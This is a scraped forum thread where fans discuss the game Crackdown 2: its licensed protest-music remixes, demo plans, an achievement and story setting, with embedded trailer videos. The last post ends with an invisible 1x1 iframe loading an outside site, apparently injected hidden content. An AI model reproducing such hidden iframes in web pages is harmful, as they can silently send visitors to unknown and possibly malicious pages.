I can't wait, I hope this doesn't disappoint at all......its looking good.
Crackdown 2
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Re: Crackdown 2
I can't wait, I hope this doesn't disappoint at all......its looking good. -
Re: Crackdown 2
God I can't wait!!
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Re: Crackdown 2
God I can't wait!!
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Re: Crackdown 2
So, about the music and how they were going to do something cool/unique:
Audio Director Kristofor Mellroth on the sounds of Crackdown 2
So one of the things that I did was a deep dive with our music licensing team here, and my boss, Guy Whitmore, we did a really deep dive on protest music and anti-establishment music, going all the way back to the 30s. We wanted to have everything open. I have my own specific tastes, Ruffian has their own tastes, everybody has their own preferences. But I sort of set up a criteria range that would have to fit in for a song to be looked at. It had to be lyrically relevant, it had to have real credibility, it had to be remixable. And we came up with this big, best of list, and then we narrowed it down from there, targeting tracks that we'd want to hang the soundtrack quality bar on.
I have a few of them here -- Bob Dylan, Johnny Cash, Public Enemy, REM. These are big artists that you're remixing, right?
Yeah. And to be honest, I didn't know if any of this was going to work. It was pretty ambitious. Uncharted territory for us. To get original master tapes from these A-list artists, have them send those off to be remixed in a really cutting-edge and pretty edgy, and frankly pretty risky way, and then send it back and have them approve it, like have Bob Dylan approve the remix of "Masters of War" that we got? All that stuff, I just had faith that we'd be able to execute at a high level, and I'm really, really happy with the result, I hope people like it.Yeah, there were a couple that didn't make the list, for various contract reasons, but we got a list of heavy hitters that I'm really proud of. The other thing was, being an American working with a UK-based developer, we sell a lot of copies of this in Europe, and I didn't want it to sound too American. And so we tried to also hit a wide variety of songs that guys over there would think are really cool, that maybe don't have the resonance over here. The Damned's "Smash it Up" wasn't really big over here, but in the UK it's a really important song. We looked at bands like Stiff Little Fingers and The Boomtown Rats, guys out of Ireland and stuff. We didn't get everyone in, but we got a really good cross-section of edgy music. Throughout time, too -- we go from Bob Dylan to Atari Teenage Riot to all sorts of stuff.Go Noles!!! >>----->Comment
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Re: Crackdown 2
I'm glad that they're doing something different, the music in the first one sucked.Originally posted by BlzerLet me assure you that I am a huge proponent of size, and it greatly matters. Don't ever let anyone tell you otherwise.
If I went any bigger, it would not have properly fit with my equipment, so I had to optimize. I'm okay with it, but I also know what I'm missing with those five inches. :)Comment
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Re: Crackdown 2
<object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/RyF2hvxvN18&hl=en_US&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/RyF2hvxvN18&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object>Go Noles!!! >>----->Comment
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Re: Crackdown 2
Some demo details in this Joystiq Interview.
We haven't got a specific date, but it's going to be ahead of launch.
It's going to be cooperative. We still have to look at competitive stuff as well. We're giving away a scary amount of the game. Basically there's the entire game in this demo. The Crackdown demo experience was huge the first time around and it's still in the "Top 5 Most Downloaded Demos" and it was a really generous demo, it was really exciting feature-wise. You got to see a lot of the game.
My favorite thing was this accelerated skill thing, which is like a game in itself. We tried gaming the game with the Crackdown 2 demo. So, we want to do all that stuff again. It'll be a very similar package to the first game's demo.Go Noles!!! >>----->Comment
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Re: Crackdown 2
Awesome Achievements
- Yippee-Kai-Yay
Drive an Agency SUV into an airborne helicopter.
Go Noles!!! >>----->Comment
- Yippee-Kai-Yay
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Re: Crackdown 2
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Re: Crackdown 2
New Machinima Trailer:
<object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/bDSfCZ7ecVM&hl=en_US&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/bDSfCZ7ecVM&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object>Go Noles!!! >>----->Comment
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Re: Crackdown 2
Well, whether anybody likes it or not, it makes sense.
“The Freaks” were from the first game. The Shi-Gen – once you killed the boss — you unleashed the freaks into the world. Basically it’s a continuation of that”
“It’s ten years later and because of your actions you’ve turned the city into, basically, a living hell. Nighttime is just “freak” time. You can’t go out at night. Daytime civilians are scurrying about trying to get themselves the necessities of life and when it comes to dusk you’ll see them scuttling home.”Go Noles!!! >>----->Comment
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Re: Crackdown 2
Game looks fantastic...
I just dont know if I care for the zombie route that they've taken
I might pass, although I've been waiting on this series to continue.<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>Comment
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